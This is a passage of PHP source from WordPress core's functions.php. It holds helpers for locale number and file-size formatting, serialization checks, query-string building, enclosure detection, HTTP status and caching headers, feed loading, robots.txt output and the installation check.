WordPress date and time locale object. * * @param float $number The number to convert based on locale. * @param int $decimals Optional. Precision of the number of decimal places. Default 0. * @return string Converted number in string format. */ function number_format_i18n( $number, $decimals = 0 ) { global $wp_locale; if ( isset( $wp_locale ) ) { $formatted = number_format( $number, absint( $decimals ), $wp_locale->number_format['decimal_point'], $wp_locale->number_format['thousands_sep'] ); } else { $formatted = number_format( $number, absint( $decimals ) ); } /** * Filters the number formatted based on the locale. * * @since 2.8.0 * @since 4.9.0 The `$number` and `$decimals` parameters were added. * * @param string $formatted Converted number in string format. * @param float $number The number to convert based on locale. * @param int $decimals Precision of the number of decimal places. */ return apply_filters( 'number_format_i18n', $formatted, $number, $decimals ); } /** * Converts a number of bytes to the largest unit the bytes will fit into. * * It is easier to read 1 KB than 1024 bytes and 1 MB than 1048576 bytes. Converts * number of bytes to human readable number by taking the number of that unit * that the bytes will go into it. Supports YB value. * * Please note that integers in PHP are limited to 32 bits, unless they are on * 64 bit architecture, then they have 64 bit size. If you need to place the * larger size then what PHP integer type will hold, then use a string. It will * be converted to a double, which should always have 64 bit length. * * Technically the correct unit names for powers of 1024 are KiB, MiB etc. * * @since 2.3.0 * @since 6.0.0 Support for PB, EB, ZB, and YB was added. * * @param int|string $bytes Number of bytes. Note max integer size for integers. * @param int $decimals Optional. Precision of number of decimal places. Default 0. * @return string|false Number string on success, false on failure. */ function size_format( $bytes, $decimals = 0 ) { $quant = array( /* translators: Unit symbol for yottabyte. */ _x( 'YB', 'unit symbol' ) => YB_IN_BYTES, /* translators: Unit symbol for zettabyte. */ _x( 'ZB', 'unit symbol' ) => ZB_IN_BYTES, /* translators: Unit symbol for exabyte. */ _x( 'EB', 'unit symbol' ) => EB_IN_BYTES, /* translators: Unit symbol for petabyte. */ _x( 'PB', 'unit symbol' ) => PB_IN_BYTES, /* translators: Unit symbol for terabyte. */ _x( 'TB', 'unit symbol' ) => TB_IN_BYTES, /* translators: Unit symbol for gigabyte. */ _x( 'GB', 'unit symbol' ) => GB_IN_BYTES, /* translators: Unit symbol for megabyte. */ _x( 'MB', 'unit symbol' ) => MB_IN_BYTES, /* translators: Unit symbol for kilobyte. */ _x( 'KB', 'unit symbol' ) => KB_IN_BYTES, /* translators: Unit symbol for byte. */ _x( 'B', 'unit symbol' ) => 1, ); if ( 0 === $bytes ) { /* translators: Unit symbol for byte. */ return number_format_i18n( 0, $decimals ) . ' ' . _x( 'B', 'unit symbol' ); } foreach ( $quant as $unit => $mag ) { if ( (float) $bytes >= $mag ) { return number_format_i18n( $bytes / $mag, $decimals ) . ' ' . $unit; } } return false; } /** * Converts a duration to human readable format. * * @since 5.1.0 * * @param string $duration Duration will be in string format (HH:ii:ss) OR (ii:ss), * with a possible prepended negative sign (-). * @return string|false A human readable duration string, false on failure. */ function human_readable_duration( $duration = '' ) { if ( ( empty( $duration ) || ! is_string( $duration ) ) ) { return false; } $duration = trim( $duration ); // Remove prepended negative sign. if ( str_starts_with( $duration, '-' ) ) { $duration = substr( $duration, 1 ); } // Extract duration parts. $duration_parts = array_reverse( explode( ':', $duration ) ); $duration_count = count( $duration_parts ); $hour = null; $minute = null; $second = null; if ( 3 === $duration_count ) { // Validate HH:ii:ss duration format. if ( ! ( (bool) preg_match( '/^([0-9]+):([0-5]?[0-9]):([0-5]?[0-9])$/', $duration ) ) ) { return false; } // Three parts: hours, minutes & seconds. list( $second, $minute, $hour ) = $duration_parts; } elseif ( 2 === $duration_count ) { // Validate ii:ss duration format. if ( ! ( (bool) preg_match( '/^([0-5]?[0-9]):([0-5]?[0-9])$/', $duration ) ) ) { return false; } // Two parts: minutes & seconds. list( $second, $minute ) = $duration_parts; } else { return false; } $human_readable_duration = array(); // Add the hour part to the string. if ( is_numeric( $hour ) ) { /* translators: %s: Time duration in hour or hours. */ $human_readable_duration[] = sprintf( _n( '%s hour', '%s hours', $hour ), (int) $hour ); } // Add the minute part to the string. if ( is_numeric( $minute ) ) { /* translators: %s: Time duration in minute or minutes. */ $human_readable_duration[] = sprintf( _n( '%s minute', '%s minutes', $minute ), (int) $minute ); } // Add the second part to the string. if ( is_numeric( $second ) ) { /* translators: %s: Time duration in second or seconds. */ $human_readable_duration[] = sprintf( _n( '%s second', '%s seconds', $second ), (int) $second ); } return implode( ', ', $human_readable_duration ); } /** * Gets the week start and end from the datetime or date string from MySQL. * * @since 0.71 * * @param string $mysqlstring Date or datetime field type from MySQL. * @param int|string $start_of_week Optional. Start of the week as an integer. Default empty string. * @return int[] { * Week start and end dates as Unix timestamps. * * @type int $start The week start date as a Unix timestamp. * @type int $end The week end date as a Unix timestamp. * } */ function get_weekstartend( $mysqlstring, $start_of_week = '' ) { // MySQL string year. $my = substr( $mysqlstring, 0, 4 ); // MySQL string month. $mm = substr( $mysqlstring, 8, 2 ); // MySQL string day. $md = substr( $mysqlstring, 5, 2 ); // The timestamp for MySQL string day. $day = mktime( 0, 0, 0, $md, $mm, $my ); // The day of the week from the timestamp. $weekday = (int) gmdate( 'w', $day ); if ( ! is_numeric( $start_of_week ) ) { $start_of_week = (int) get_option( 'start_of_week' ); } if ( $weekday < $start_of_week ) { $weekday += 7; } // The most recent week start day on or before $day. $start = $day - DAY_IN_SECONDS * ( $weekday - $start_of_week ); // $start + 1 week - 1 second. $end = $start + WEEK_IN_SECONDS - 1; return compact( 'start', 'end' ); } /** * Serializes data, if needed. * * @since 2.0.5 * * @param string|array|object $data Data that might be serialized. * @return mixed A scalar data. */ function maybe_serialize( $data ) { if ( is_array( $data ) || is_object( $data ) ) { return serialize( $data ); } /* * Double serialization is required for backward compatibility. * See https://core.trac.wordpress.org/ticket/12930 * Also the world will end. See WP 3.6.1. */ if ( is_serialized( $data, false ) ) { return serialize( $data ); } return $data; } /** * Unserializes data only if it was serialized. * * @since 2.0.0 * * @param string $data Data that might be unserialized. * @return mixed Unserialized data can be any type. */ function maybe_unserialize( $data ) { if ( is_serialized( $data ) ) { // Don't attempt to unserialize data that wasn't serialized going in. return @unserialize( trim( $data ) ); } return $data; } /** * Checks value to find if it was serialized. * * If $data is not a string, then returned value will always be false. * Serialized data is always a string. * * @since 2.0.5 * @since 6.1.0 Added Enum support. * * @param string $data Value to check to see if was serialized. * @param bool $strict Optional. Whether to be strict about the end of the string. Default true. * @return bool False if not serialized and true if it was. */ function is_serialized( $data, $strict = true ) { // If it isn't a string, it isn't serialized. if ( ! is_string( $data ) ) { return false; } $data = trim( $data ); if ( 'N;' === $data ) { return true; } if ( strlen( $data ) < 4 ) { return false; } if ( ':' !== $data[1] ) { return false; } if ( $strict ) { $lastc = substr( $data, -1 ); if ( ';' !== $lastc && '}' !== $lastc ) { return false; } } else { $semicolon = strpos( $data, ';' ); $brace = strpos( $data, '}' ); // Either ; or } must exist. if ( false === $semicolon && false === $brace ) { return false; } // But neither must be in the first X characters. if ( false !== $semicolon && $semicolon < 3 ) { return false; } if ( false !== $brace && $brace < 4 ) { return false; } } $token = $data[0]; switch ( $token ) { case 's': if ( $strict ) { if ( '"' !== substr( $data, -2, 1 ) ) { return false; } } elseif ( ! str_contains( $data, '"' ) ) { return false; } // Or else fall through. case 'a': case 'O': case 'E': return (bool) preg_match( "/^{$token}:[0-9]+:/s", $data ); case 'b': case 'i': case 'd': $end = $strict ? '$' : ''; return (bool) preg_match( "/^{$token}:[0-9.E+-]+;$end/", $data ); } return false; } /** * Checks whether serialized data is of string type. * * @since 2.0.5 * * @param string $data Serialized data. * @return bool False if not a serialized string, true if it is. */ function is_serialized_string( $data ) { // if it isn't a string, it isn't a serialized string. if ( ! is_string( $data ) ) { return false; } $data = trim( $data ); if ( strlen( $data ) < 4 ) { return false; } elseif ( ':' !== $data[1] ) { return false; } elseif ( ! str_ends_with( $data, ';' ) ) { return false; } elseif ( 's' !== $data[0] ) { return false; } elseif ( '"' !== substr( $data, -2, 1 ) ) { return false; } else { return true; } } /** * Retrieves post title from XMLRPC XML. * * If the title element is not part of the XML, then the default post title from * the $post_default_title will be used instead. * * @since 0.71 * * @global string $post_default_title Default XML-RPC post title. * * @param string $content XMLRPC XML Request content * @return string Post title */ function xmlrpc_getposttitle( $content ) { global $post_default_title; if ( preg_match( '/(.+?)<\/title>/is', $content, $matchtitle ) ) { $post_title = $matchtitle[1]; } else { $post_title = $post_default_title; } return $post_title; } /** * Retrieves the post category or categories from XMLRPC XML. * * If the category element is not found, then the default post category will be * used. The return type then would be what $post_default_category. If the * category is found, then it will always be an array. * * @since 0.71 * * @global string $post_default_category Default XML-RPC post category. * * @param string $content XMLRPC XML Request content * @return string|array List of categories or category name. */ function xmlrpc_getpostcategory( $content ) { global $post_default_category; if ( preg_match( '/<category>(.+?)<\/category>/is', $content, $matchcat ) ) { $post_category = trim( $matchcat[1], ',' ); $post_category = explode( ',', $post_category ); } else { $post_category = $post_default_category; } return $post_category; } /** * XMLRPC XML content without title and category elements. * * @since 0.71 * * @param string $content XML-RPC XML Request content. * @return string XMLRPC XML Request content without title and category elements. */ function xmlrpc_removepostdata( $content ) { $content = preg_replace( '/<title>(.+?)<\/title>/si', '', $content ); $content = preg_replace( '/<category>(.+?)<\/category>/si', '', $content ); $content = trim( $content ); return $content; } /** * Uses RegEx to extract URLs from arbitrary content. * * @since 3.7.0 * @since 6.0.0 Fixes support for HTML entities (Trac 30580). * * @param string $content Content to extract URLs from. * @return string[] Array of URLs found in passed string. */ function wp_extract_urls( $content ) { preg_match_all( "#([\"']?)(" . '(?:([\w-]+:)?//?)' . '[^\s()<>]+' . '[.]' . '(?:' . '\([\w\d]+\)|' . '(?:' . "[^`!()\[\]{}:'\".,<>«»“”‘’\s]|" . '(?:[:]\d+)?/?' . ')+' . ')' . ")\\1#", $content, $post_links ); $post_links = array_unique( array_map( static function ( $link ) { // Decode to replace valid entities, like &. $link = html_entity_decode( $link ); // Maintain backward compatibility by removing extraneous semi-colons (`;`). return str_replace( ';', '', $link ); }, $post_links[2] ) ); return array_values( $post_links ); } /** * Checks content for video and audio links to add as enclosures. * * Will not add enclosures that have already been added and will * remove enclosures that are no longer in the post. This is called as * pingbacks and trackbacks. * * @since 1.5.0 * @since 5.3.0 The `$content` parameter was made optional, and the `$post` parameter was * updated to accept a post ID or a WP_Post object. * @since 5.6.0 The `$content` parameter is no longer optional, but passing `null` to skip it * is still supported. * * @global wpdb $wpdb WordPress database abstraction object. * * @param string|null $content Post content. If `null`, the `post_content` field from `$post` is used. * @param int|WP_Post $post Post ID or post object. * @return void|false Void on success, false if the post is not found. */ function do_enclose( $content, $post ) { global $wpdb; // @todo Tidy this code and make the debug code optional. require_once ABSPATH . WPINC . '/class-IXR.php'; $post = get_post( $post ); if ( ! $post ) { return false; } if ( null === $content ) { $content = $post->post_content; } $post_links = array(); $pung = get_enclosed( $post->ID ); $post_links_temp = wp_extract_urls( $content ); foreach ( $pung as $link_test ) { // Link is no longer in post. if ( ! in_array( $link_test, $post_links_temp, true ) ) { $mids = $wpdb->get_col( $wpdb->prepare( "SELECT meta_id FROM $wpdb->postmeta WHERE post_id = %d AND meta_key = 'enclosure' AND meta_value LIKE %s", $post->ID, $wpdb->esc_like( $link_test ) . '%' ) ); foreach ( $mids as $mid ) { delete_metadata_by_mid( 'post', $mid ); } } } foreach ( (array) $post_links_temp as $link_test ) { // If we haven't pung it already. if ( ! in_array( $link_test, $pung, true ) ) { $test = parse_url( $link_test ); if ( false === $test ) { continue; } if ( isset( $test['query'] ) ) { $post_links[] = $link_test; } elseif ( isset( $test['path'] ) && ( '/' !== $test['path'] ) && ( '' !== $test['path'] ) ) { $post_links[] = $link_test; } } } /** * Filters the list of enclosure links before querying the database. * * Allows for the addition and/or removal of potential enclosures to save * to postmeta before checking the database for existing enclosures. * * @since 4.4.0 * * @param string[] $post_links An array of enclosure links. * @param int $post_id Post ID. */ $post_links = apply_filters( 'enclosure_links', $post_links, $post->ID ); foreach ( (array) $post_links as $url ) { $url = strip_fragment_from_url( $url ); if ( '' !== $url && ! $wpdb->get_var( $wpdb->prepare( "SELECT post_id FROM $wpdb->postmeta WHERE post_id = %d AND meta_key = 'enclosure' AND meta_value LIKE %s", $post->ID, $wpdb->esc_like( $url ) . '%' ) ) ) { $headers = wp_get_http_headers( $url ); if ( $headers ) { $len = isset( $headers['Content-Length'] ) ? (int) $headers['Content-Length'] : 0; $type = isset( $headers['Content-Type'] ) ? $headers['Content-Type'] : ''; $allowed_types = array( 'video', 'audio' ); // Check to see if we can figure out the mime type from the extension. $url_parts = parse_url( $url ); if ( false !== $url_parts && ! empty( $url_parts['path'] ) ) { $extension = pathinfo( $url_parts['path'], PATHINFO_EXTENSION ); if ( ! empty( $extension ) ) { foreach ( wp_get_mime_types() as $exts => $mime ) { if ( preg_match( '!^(' . $exts . ')$!i', $extension ) ) { $type = $mime; break; } } } } if ( in_array( substr( $type, 0, strpos( $type, '/' ) ), $allowed_types, true ) ) { add_post_meta( $post->ID, 'enclosure', "$url\n$len\n$mime\n" ); } } } } } /** * Retrieves HTTP Headers from URL. * * @since 1.5.1 * * @param string $url URL to retrieve HTTP headers from. * @param bool $deprecated Not Used. * @return \WpOrg\Requests\Utility\CaseInsensitiveDictionary|false Headers on success, false on failure. */ function wp_get_http_headers( $url, $deprecated = false ) { if ( ! empty( $deprecated ) ) { _deprecated_argument( __FUNCTION__, '2.7.0' ); } $response = wp_safe_remote_head( $url ); if ( is_wp_error( $response ) ) { return false; } return wp_remote_retrieve_headers( $response ); } /** * Determines whether the publish date of the current post in the loop is different * from the publish date of the previous post in the loop. * * For more information on this and similar theme functions, check out * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ * Conditional Tags} article in the Theme Developer Handbook. * * @since 0.71 * * @global string $currentday The day of the current post in the loop. * @global string $previousday The day of the previous post in the loop. * * @return int 1 when new day, 0 if not a new day. */ function is_new_day() { global $currentday, $previousday; if ( $currentday !== $previousday ) { return 1; } else { return 0; } } /** * Builds URL query based on an associative and, or indexed array. * * This is a convenient function for easily building url queries. It sets the * separator to '&' and uses _http_build_query() function. * * @since 2.3.0 * * @see _http_build_query() Used to build the query * @link https://www.php.net/manual/en/function.http-build-query.php for more on what * http_build_query() does. * * @param array $data URL-encode key/value pairs. * @return string URL-encoded string. */ function build_query( $data ) { return _http_build_query( $data, null, '&', '', false ); } /** * From php.net (modified by Mark Jaquith to behave like the native PHP5 function). * * @since 3.2.0 * @access private * * @see https://www.php.net/manual/en/function.http-build-query.php * * @param array|object $data An array or object of data. Converted to array. * @param string $prefix Optional. Numeric index. If set, start parameter numbering with it. * Default null. * @param string $sep Optional. Argument separator; defaults to 'arg_separator.output'. * Default null. * @param string $key Optional. Used to prefix key name. Default empty string. * @param bool $urlencode Optional. Whether to use urlencode() in the result. Default true. * @return string The query string. */ function _http_build_query( $data, $prefix = null, $sep = null, $key = '', $urlencode = true ) { $ret = array(); foreach ( (array) $data as $k => $v ) { if ( $urlencode ) { $k = urlencode( $k ); } if ( is_int( $k ) && null !== $prefix ) { $k = $prefix . $k; } if ( ! empty( $key ) ) { $k = $key . '%5B' . $k . '%5D'; } if ( null === $v ) { continue; } elseif ( false === $v ) { $v = '0'; } if ( is_array( $v ) || is_object( $v ) ) { array_push( $ret, _http_build_query( $v, '', $sep, $k, $urlencode ) ); } elseif ( $urlencode ) { array_push( $ret, $k . '=' . urlencode( $v ) ); } else { array_push( $ret, $k . '=' . $v ); } } if ( null === $sep ) { $sep = ini_get( 'arg_separator.output' ); } return implode( $sep, $ret ); } /** * Retrieves a modified URL query string. * * You can rebuild the URL and append query variables to the URL query by using this function. * There are two ways to use this function; either a single key and value, or an associative array. * * Using a single key and value: * * add_query_arg( 'key', 'value', 'http://example.com' ); * * Using an associative array: * * add_query_arg( array( * 'key1' => 'value1', * 'key2' => 'value2', * ), 'http://example.com' ); * * Omitting the URL from either use results in the current URL being used * (the value of `$_SERVER['REQUEST_URI']`). * * Values are expected to be encoded appropriately with urlencode() or rawurlencode(). * * Setting any query variable's value to boolean false removes the key (see remove_query_arg()). * * Important: The return value of add_query_arg() is not escaped by default. Output should be * late-escaped with esc_url() or similar to help prevent vulnerability to cross-site scripting * (XSS) attacks. * * @since 1.5.0 * @since 5.3.0 Formalized the existing and already documented parameters * by adding `...$args` to the function signature. * * @param string|array $key Either a query variable key, or an associative array of query variables. * @param string $value Optional. Either a query variable value, or a URL to act upon. * @param string $url Optional. A URL to act upon. * @return string New URL query string (unescaped). */ function add_query_arg( ...$args ) { if ( is_array( $args[0] ) ) { if ( count( $args ) < 2 || false === $args[1] ) { $uri = $_SERVER['REQUEST_URI']; } else { $uri = $args[1]; } } else { if ( count( $args ) < 3 || false === $args[2] ) { $uri = $_SERVER['REQUEST_URI']; } else { $uri = $args[2]; } } $frag = strstr( $uri, '#' ); if ( $frag ) { $uri = substr( $uri, 0, -strlen( $frag ) ); } else { $frag = ''; } if ( 0 === stripos( $uri, 'http://' ) ) { $protocol = 'http://'; $uri = substr( $uri, 7 ); } elseif ( 0 === stripos( $uri, 'https://' ) ) { $protocol = 'https://'; $uri = substr( $uri, 8 ); } else { $protocol = ''; } if ( str_contains( $uri, '?' ) ) { list( $base, $query ) = explode( '?', $uri, 2 ); $base .= '?'; } elseif ( $protocol || ! str_contains( $uri, '=' ) ) { $base = $uri . '?'; $query = ''; } else { $base = ''; $query = $uri; } wp_parse_str( $query, $qs ); $qs = urlencode_deep( $qs ); // This re-URL-encodes things that were already in the query string. if ( is_array( $args[0] ) ) { foreach ( $args[0] as $k => $v ) { $qs[ $k ] = $v; } } else { $qs[ $args[0] ] = $args[1]; } foreach ( $qs as $k => $v ) { if ( false === $v ) { unset( $qs[ $k ] ); } } $ret = build_query( $qs ); $ret = trim( $ret, '?' ); $ret = preg_replace( '#=(&|$)#', '$1', $ret ); $ret = $protocol . $base . $ret . $frag; $ret = rtrim( $ret, '?' ); $ret = str_replace( '?#', '#', $ret ); return $ret; } /** * Removes an item or items from a query string. * * Important: The return value of remove_query_arg() is not escaped by default. Output should be * late-escaped with esc_url() or similar to help prevent vulnerability to cross-site scripting * (XSS) attacks. * * @since 1.5.0 * * @param string|string[] $key Query key or keys to remove. * @param false|string $query Optional. When false uses the current URL. Default false. * @return string New URL query string. */ function remove_query_arg( $key, $query = false ) { if ( is_array( $key ) ) { // Removing multiple keys. foreach ( $key as $k ) { $query = add_query_arg( $k, false, $query ); } return $query; } return add_query_arg( $key, false, $query ); } /** * Returns an array of single-use query variable names that can be removed from a URL. * * @since 4.4.0 * * @return string[] An array of query variable names to remove from the URL. */ function wp_removable_query_args() { $removable_query_args = array( 'activate', 'activated', 'admin_email_remind_later', 'approved', 'core-major-auto-updates-saved', 'deactivate', 'delete_count', 'deleted', 'disabled', 'doing_wp_cron', 'enabled', 'error', 'hotkeys_highlight_first', 'hotkeys_highlight_last', 'ids', 'locked', 'message', 'same', 'saved', 'settings-updated', 'skipped', 'spammed', 'trashed', 'unspammed', 'untrashed', 'update', 'updated', 'wp-post-new-reload', ); /** * Filters the list of query variable names to remove. * * @since 4.2.0 * * @param string[] $removable_query_args An array of query variable names to remove from a URL. */ return apply_filters( 'removable_query_args', $removable_query_args ); } /** * Walks the array while sanitizing the contents. * * @since 0.71 * @since 5.5.0 Non-string values are left untouched. * * @param array $input_array Array to walk while sanitizing contents. * @return array Sanitized $input_array. */ function add_magic_quotes( $input_array ) { foreach ( (array) $input_array as $k => $v ) { if ( is_array( $v ) ) { $input_array[ $k ] = add_magic_quotes( $v ); } elseif ( is_string( $v ) ) { $input_array[ $k ] = addslashes( $v ); } } return $input_array; } /** * HTTP request for URI to retrieve content. * * @since 1.5.1 * * @see wp_safe_remote_get() * * @param string $uri URI/URL of web page to retrieve. * @return string|false HTTP content. False on failure. */ function wp_remote_fopen( $uri ) { $parsed_url = parse_url( $uri ); if ( ! $parsed_url || ! is_array( $parsed_url ) ) { return false; } $options = array(); $options['timeout'] = 10; $response = wp_safe_remote_get( $uri, $options ); if ( is_wp_error( $response ) ) { return false; } return wp_remote_retrieve_body( $response ); } /** * Sets up the WordPress query. * * @since 2.0.0 * * @global WP $wp Current WordPress environment instance. * @global WP_Query $wp_query WordPress Query object. * @global WP_Query $wp_the_query Copy of the WordPress Query object. * * @param string|array $query_vars Default WP_Query arguments. */ function wp( $query_vars = '' ) { global $wp, $wp_query, $wp_the_query; $wp->main( $query_vars ); if ( ! isset( $wp_the_query ) ) { $wp_the_query = $wp_query; } } /** * Retrieves the description for the HTTP status. * * @since 2.3.0 * @since 3.9.0 Added status codes 418, 428, 429, 431, and 511. * @since 4.5.0 Added status codes 308, 421, and 451. * @since 5.1.0 Added status code 103. * @since 6.6.0 Added status code 425. * * @global array $wp_header_to_desc * * @param int $code HTTP status code. * @return string Status description if found, an empty string otherwise. */ function get_status_header_desc( $code ) { global $wp_header_to_desc; $code = absint( $code ); if ( ! isset( $wp_header_to_desc ) ) { $wp_header_to_desc = array( 100 => 'Continue', 101 => 'Switching Protocols', 102 => 'Processing', 103 => 'Early Hints', 200 => 'OK', 201 => 'Created', 202 => 'Accepted', 203 => 'Non-Authoritative Information', 204 => 'No Content', 205 => 'Reset Content', 206 => 'Partial Content', 207 => 'Multi-Status', 226 => 'IM Used', 300 => 'Multiple Choices', 301 => 'Moved Permanently', 302 => 'Found', 303 => 'See Other', 304 => 'Not Modified', 305 => 'Use Proxy', 306 => 'Reserved', 307 => 'Temporary Redirect', 308 => 'Permanent Redirect', 400 => 'Bad Request', 401 => 'Unauthorized', 402 => 'Payment Required', 403 => 'Forbidden', 404 => 'Not Found', 405 => 'Method Not Allowed', 406 => 'Not Acceptable', 407 => 'Proxy Authentication Required', 408 => 'Request Timeout', 409 => 'Conflict', 410 => 'Gone', 411 => 'Length Required', 412 => 'Precondition Failed', 413 => 'Request Entity Too Large', 414 => 'Request-URI Too Long', 415 => 'Unsupported Media Type', 416 => 'Requested Range Not Satisfiable', 417 => 'Expectation Failed', 418 => 'I\'m a teapot', 421 => 'Misdirected Request', 422 => 'Unprocessable Entity', 423 => 'Locked', 424 => 'Failed Dependency', 425 => 'Too Early', 426 => 'Upgrade Required', 428 => 'Precondition Required', 429 => 'Too Many Requests', 431 => 'Request Header Fields Too Large', 451 => 'Unavailable For Legal Reasons', 500 => 'Internal Server Error', 501 => 'Not Implemented', 502 => 'Bad Gateway', 503 => 'Service Unavailable', 504 => 'Gateway Timeout', 505 => 'HTTP Version Not Supported', 506 => 'Variant Also Negotiates', 507 => 'Insufficient Storage', 510 => 'Not Extended', 511 => 'Network Authentication Required', ); } if ( isset( $wp_header_to_desc[ $code ] ) ) { return $wp_header_to_desc[ $code ]; } else { return ''; } } /** * Sets HTTP status header. * * @since 2.0.0 * @since 4.4.0 Added the `$description` parameter. * * @see get_status_header_desc() * * @param int $code HTTP status code. * @param string $description Optional. A custom description for the HTTP status. * Defaults to the result of get_status_header_desc() for the given code. */ function status_header( $code, $description = '' ) { if ( ! $description ) { $description = get_status_header_desc( $code ); } if ( empty( $description ) ) { return; } $protocol = wp_get_server_protocol(); $status_header = "$protocol $code $description"; if ( function_exists( 'apply_filters' ) ) { /** * Filters an HTTP status header. * * @since 2.2.0 * * @param string $status_header HTTP status header. * @param int $code HTTP status code. * @param string $description Description for the status code. * @param string $protocol Server protocol. */ $status_header = apply_filters( 'status_header', $status_header, $code, $description, $protocol ); } if ( ! headers_sent() ) { header( $status_header, true, $code ); } } /** * Gets the HTTP header information to prevent caching. * * The several different headers cover the different ways cache prevention * is handled by different browsers or intermediate caches such as proxy servers. * * @since 2.8.0 * @since 6.3.0 The `Cache-Control` header for logged in users now includes the * `no-store` and `private` directives. * @since 6.8.0 The `Cache-Control` header now includes the `no-store` and `private` * directives regardless of whether a user is logged in. * * @return array The associative array of header names and field values. */ function wp_get_nocache_headers() { $cache_control = 'no-cache, must-revalidate, max-age=0, no-store, private'; $headers = array( 'Expires' => 'Wed, 11 Jan 1984 05:00:00 GMT', 'Cache-Control' => $cache_control, ); if ( function_exists( 'apply_filters' ) ) { /** * Filters the cache-controlling HTTP headers that are used to prevent caching. * * @since 2.8.0 * * @see wp_get_nocache_headers() * * @param array $headers Header names and field values. */ $headers = (array) apply_filters( 'nocache_headers', $headers ); } $headers['Last-Modified'] = false; return $headers; } /** * Sets the HTTP headers to prevent caching for the different browsers. * * Different browsers support different nocache headers, so several * headers must be sent so that all of them get the point that no * caching should occur. * * @since 2.0.0 * * @see wp_get_nocache_headers() */ function nocache_headers() { if ( headers_sent() ) { return; } $headers = wp_get_nocache_headers(); unset( $headers['Last-Modified'] ); header_remove( 'Last-Modified' ); foreach ( $headers as $name => $field_value ) { header( "{$name}: {$field_value}" ); } } /** * Sets the HTTP headers for caching for 10 days with JavaScript content type. * * @since 2.1.0 */ function cache_javascript_headers() { $expires_offset = 10 * DAY_IN_SECONDS; header( 'Content-Type: text/javascript; charset=' . get_bloginfo( 'charset' ) ); header( 'Vary: Accept-Encoding' ); // Handle proxies. header( 'Expires: ' . gmdate( 'D, d M Y H:i:s', time() + $expires_offset ) . ' GMT' ); } /** * Retrieves the number of database queries during the WordPress execution. * * @since 2.0.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @return int Number of database queries. */ function get_num_queries() { global $wpdb; return $wpdb->num_queries; } /** * Determines whether input is yes or no. * * Must be 'y' to be true. * * @since 1.0.0 * * @param string $yn Character string containing either 'y' (yes) or 'n' (no). * @return bool True if 'y', false on anything else. */ function bool_from_yn( $yn ) { return ( 'y' === strtolower( $yn ) ); } /** * Loads the feed template from the use of an action hook. * * If the feed action does not have a hook, then the function will die with a * message telling the visitor that the feed is not valid. * * It is better to only have one hook for each feed. * * @since 2.1.0 * * @global WP_Query $wp_query WordPress Query object. */ function do_feed() { global $wp_query; $feed = get_query_var( 'feed' ); // Remove the pad, if present. $feed = preg_replace( '/^_+/', '', $feed ); if ( '' === $feed || 'feed' === $feed ) { $feed = get_default_feed(); } if ( ! has_action( "do_feed_{$feed}" ) ) { wp_die( __( '<strong>Error:</strong> This is not a valid feed template.' ), '', array( 'response' => 404 ) ); } /** * Fires once the given feed is loaded. * * The dynamic portion of the hook name, `$feed`, refers to the feed template name. * * Possible hook names include: * * - `do_feed_atom` * - `do_feed_rdf` * - `do_feed_rss` * - `do_feed_rss2` * * @since 2.1.0 * @since 4.4.0 The `$feed` parameter was added. * * @param bool $is_comment_feed Whether the feed is a comment feed. * @param string $feed The feed name. */ do_action( "do_feed_{$feed}", $wp_query->is_comment_feed, $feed ); } /** * Loads the RDF RSS 0.91 Feed template. * * @since 2.1.0 * * @see load_template() */ function do_feed_rdf() { load_template( ABSPATH . WPINC . '/feed-rdf.php' ); } /** * Loads the RSS 1.0 Feed Template. * * @since 2.1.0 * * @see load_template() */ function do_feed_rss() { load_template( ABSPATH . WPINC . '/feed-rss.php' ); } /** * Loads either the RSS2 comment feed or the RSS2 posts feed. * * @since 2.1.0 * * @see load_template() * * @param bool $for_comments True for the comment feed, false for normal feed. */ function do_feed_rss2( $for_comments ) { if ( $for_comments ) { load_template( ABSPATH . WPINC . '/feed-rss2-comments.php' ); } else { load_template( ABSPATH . WPINC . '/feed-rss2.php' ); } } /** * Loads either Atom comment feed or Atom posts feed. * * @since 2.1.0 * * @see load_template() * * @param bool $for_comments True for the comment feed, false for normal feed. */ function do_feed_atom( $for_comments ) { if ( $for_comments ) { load_template( ABSPATH . WPINC . '/feed-atom-comments.php' ); } else { load_template( ABSPATH . WPINC . '/feed-atom.php' ); } } /** * Displays the default robots.txt file content. * * @since 2.1.0 * @since 5.3.0 Remove the "Disallow: /" output if search engine visibility is * discouraged in favor of robots meta HTML tag via wp_robots_no_robots() * filter callback. */ function do_robots() { header( 'Content-Type: text/plain; charset=utf-8' ); /** * Fires when displaying the robots.txt file. * * @since 2.1.0 */ do_action( 'do_robotstxt' ); $output = "User-agent: *\n"; $public = (bool) get_option( 'blog_public' ); $site_url = parse_url( site_url() ); $path = ( ! empty( $site_url['path'] ) ) ? $site_url['path'] : ''; $output .= "Disallow: $path/wp-admin/\n"; $output .= "Allow: $path/wp-admin/admin-ajax.php\n"; /** * Filters the robots.txt output. * * @since 3.0.0 * * @param string $output The robots.txt output. * @param bool $public Whether the site is considered "public". */ echo apply_filters( 'robots_txt', $output, $public ); } /** * Displays the favicon.ico file content. * * @since 5.4.0 */ function do_favicon() { /** * Fires when serving the favicon.ico file. * * @since 5.4.0 */ do_action( 'do_faviconico' ); wp_redirect( get_site_icon_url( 32, includes_url( 'images/w-logo-blue-white-bg.png' ) ) ); exit; } /** * Determines whether WordPress is already installed. * * The cache will be checked first. If you have a cache plugin, which saves * the cache values, then this will work. If you use the default WordPress * cache, and the database goes away, then you might have problems. * * Checks for the 'siteurl' option for whether WordPress is installed. * * For more information on this and similar theme functions, check out * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ * Conditional Tags} article in the Theme Developer Handbook. * * @since 2.1.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @return bool Whether the site is already installed. */ function is_blog_installed() { global $wpdb; /* * Check cache first. If options table goes away and we have true * cached, oh well. */ if ( wp_cache_get( 'is_blog_installed' ) ) { return true; } $suppress = $wpdb->suppress_errors(); if ( ! wp_installing() ) { $alloptions = wp_load_alloptions(); } // If siteurl is not set to autoload, check it specifically. if ( ! isset( $alloptions['siteurl'] ) ) { $installed = $wpdb->get_var( "SELECT option_value FROM $wpdb->options WHERE option_name = 'siteurl'" ); } else { $installed = $alloptions['siteurl']; } $wpdb->suppress_errors( $suppress ); $installed = ! empty( $installed ); wp_cache_set( 'is_blog_installed', $installed ); if ( $installed ) { return true; } // If visiting repair.php, return true and let it take over. if ( defined( 'WP_REPAIRING' ) ) { return true; } $suppress = $wpdb->suppress_errors(); /* * Loop over the WP tables. If none exist, then scratch installation is allowed. * If one or more exist, suggest table repair 